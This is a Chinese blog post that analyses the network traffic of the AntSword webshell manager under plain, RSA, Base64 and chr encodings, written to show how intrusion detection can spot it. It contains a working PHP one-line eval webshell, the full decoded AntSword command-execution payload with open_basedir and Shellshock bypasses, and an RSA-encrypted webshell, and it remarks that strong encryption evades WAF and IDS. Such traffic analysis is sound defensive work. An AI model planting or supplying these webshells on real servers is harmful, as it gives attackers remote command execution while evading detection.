25号那一天,冰蝎恰好更新到了 4.0 版本,当时引得流量监控的老哥很紧张,告诉我要看好 IDS 警报。因为一旦 WebShell 攻破就有可能在内网采取行动。
然后引发我极大的好奇,决定活动结束后回去好好研究。
现在在家闲的没事,就先研究一下蚁剑吧,剩下的冰蝎、哥斯拉过几天研究。
1. 未加密流量形式
我们可以直接写一个简单的一句话木马
<?php
@eval($_POST[sa]);?>
此时是没有进行流量加密的,我们上交到服务器,然后进行抓包
进行 URL 解码后,我们收到的是一段 PHP 代码(很长不想看的建议滑过去看后面的内容)
@ini_set("display_errors","0");
@set_time_limit(0);$opdir= @ini_get("open_basedir");if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparras$item){if(!@is_writable($item)){continue;};$tmdir=$item."/.1b7683e8cb4";
@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir","..");$cntarr= @preg_split("/\\\\|\//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){
@chdir("..");};
@ini_set("open_basedir"," /");
@rmdir($tmdir);break;};};;functionasenc($out){return$out;};functionasoutput(){$output=ob_get_contents();ob_end_clean();echo"cdd3"."7c35e";echo @asenc($output);echo"c9cb"."8c28";}ob_start();try{$p=base64_decode(substr($_POST["m0300de6257f67"],2));$s=base64_decode(substr($_POST["k0252207ae80f4"],2));$envstr= @base64_decode(substr($_POST["i6813797614ba8"],2));$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";if(substr($d,0,1)=="/"){
@putenv("PATH=".getenv(" PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");}else{
@putenv("PATH=".getenv(" PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");}if(!empty($envstr)){$envarr=explode("|||asline|||",$envstr);foreach($envarras$v){if(!empty($v)){
@putenv(str_replace("|||askey|||","=",$v));}}}$r="{$p}{$c}";functionfe($f){$d=explode(",", @ini_get("disable_functions"));if(empty($d)){$d=array();}else{$d=array_map('trim',array_map('strtolower',$d));}return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));};functionrunshellshock($d,$c){if(substr($d,0,1)=="/"&&fe('putenv')&&(fe('error_log')||fe('mail'))){if(strstr(readlink("/bin/sh"),"bash")!=FALSE){$tmp=tempnam(sys_get_temp_dir(),'as');putenv("PHP_LOL=() { x; }; $c>$tmp 2>&1");if(fe('error_log')){error_log("a",1);}else{mail("[email protected]","","","-bv");}}else{returnFalse;}$output= @file_get_contents($tmp);
@unlink($tmp);if($output!=""){print($output);returnTrue;}}returnFalse;};functionruncmd($c){$ret=0;$d=dirname($_SERVER["SCRIPT_FILENAME"]);if(fe('system')){
@system($c,$ret);}elseif(fe('passthru')){
@passthru($c,$ret);}elseif(fe('shell_exec')){print(@shell_exec($c));}elseif(fe('exec')){
@exec($c,$o,$ret);print(join(" ",$o));}elseif(fe('popen')){$fp= @popen($c,'r');while(!@feof($fp)){print(@fgets($fp,2048));}
@pclose($fp);}elseif(fe('proc_open')){$p= @proc_open($c,array(1=>array('pipe','w'),2=>array('pipe','w')),$io);while(!@feof($io[1])){print(@fgets($io[1],2048));}while(!@feof($io[2])){print(@fgets($io[2],2048));}
@fclose($io[1]);
@fclose($io[2]);
@proc_close($p);}elseif(fe('antsystem')){
@antsystem($c);}elseif(runshellshock($d,$c)){return$ret;}elseif(substr($d,0,1)!="/"&& @class_exists("COM")){$w=newCOM('WScript.shell');$e=$w->exec($c);$so=$e->StdOut();$ret.=$so->ReadAll();$se=$e->StdErr();$ret.=$se->ReadAll();print($ret);}else{$ret=127;}return$ret;};$ret= @runcmd($r." 2>&1");print($ret!=0)?"ret={$ret}":"";;}catch(Exception$e){echo"ERROR://".$e->getMessage();};asoutput();die();
不要慌,虽然它很长
但是看缩进就会发现函数占绝大部分
代码的思路也很简单
在发送指令的时候,代码和指令是一块发过去的.
在上面的图中,我们可以看见除了代码,还有其他的 POST 指令也被传了过去,只不过是一堆无规则的字符
而这就值得关注了,可以发现是基于 Base64 编码的.
当然,直接解码依旧是会得到乱码
所以我们要去看源码
我们注意到这部分源码
$p=base64_decode(substr($_POST["m0300de6257f67"],2));$s=base64_decode(substr($_POST["k0252207ae80f4"],2));$envstr= @base64_decode(substr($_POST["i6813797614ba8"],2));
要从第三位开始,前面的两位作废
所以我们解码可以得到
文件路径和我刚才输进去的 whoami 指令
后面的 pwd 在 Linux 中是查看当前路径
其他的则意义不明,在返回的响应中,也有部分字符串
这些可以说是很容易被各种网安设备给识别出来
2. RSA 加密
那么我们看看警告 RSA 加密后的流量又能看出什么规律呢?
我们生成密钥后,用蚁剑给的 PHP 代码,作为 WebShell
<?php$cmd= @$_POST['ant'];$pk=<<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCQO/mlYt7jFDW6WxYBUequ/Wgv
Ecw3K9Jn618bPR0TBZ0PHk0gGYKNoysfqp38N7rr0eq38C8yXLYdi7wT+SUboHUZ
2y83XM0R3R5pM5NMe2pS7b5J6N0Ad1hSz1rYDhOO2FZ0Ilw0g9gtF+bkNNpPJLLf
Z7V8le4rSJWXc8ObewIDAQAB
-----END PUBLIC KEY-----
EOF;$cmds=explode("|",$cmd);$pk=openssl_pkey_get_public($pk);$cmd='';foreach($cmdsas$value){if(openssl_public_decrypt(base64_decode($value),$de,$pk)){$cmd.=$de;}}eval($cmd);
3. Base64 加密
如果我们使用 Base64 编码呢?
然后我们对内容进行解码
可以说跟没加密的内容是大差不差的了
4. cHr 加密
再使用 cHr 编码呢?
5. 其他
其实还有 Rot13 ,除了 RSA 加密,这三种都有 eval 敏感函数,可以很容易被防火墙鉴别并阻挡
所以说好的加密方式是可以绕过 WAF 和 IDS 等网安设备。
这就需要经验老道的师傅用双眼来鉴别了。
所以我这个小萌新就负责递茶吧。
版权归原作者 真不想起名TAT 所有, 如有侵权,请联系我们删除。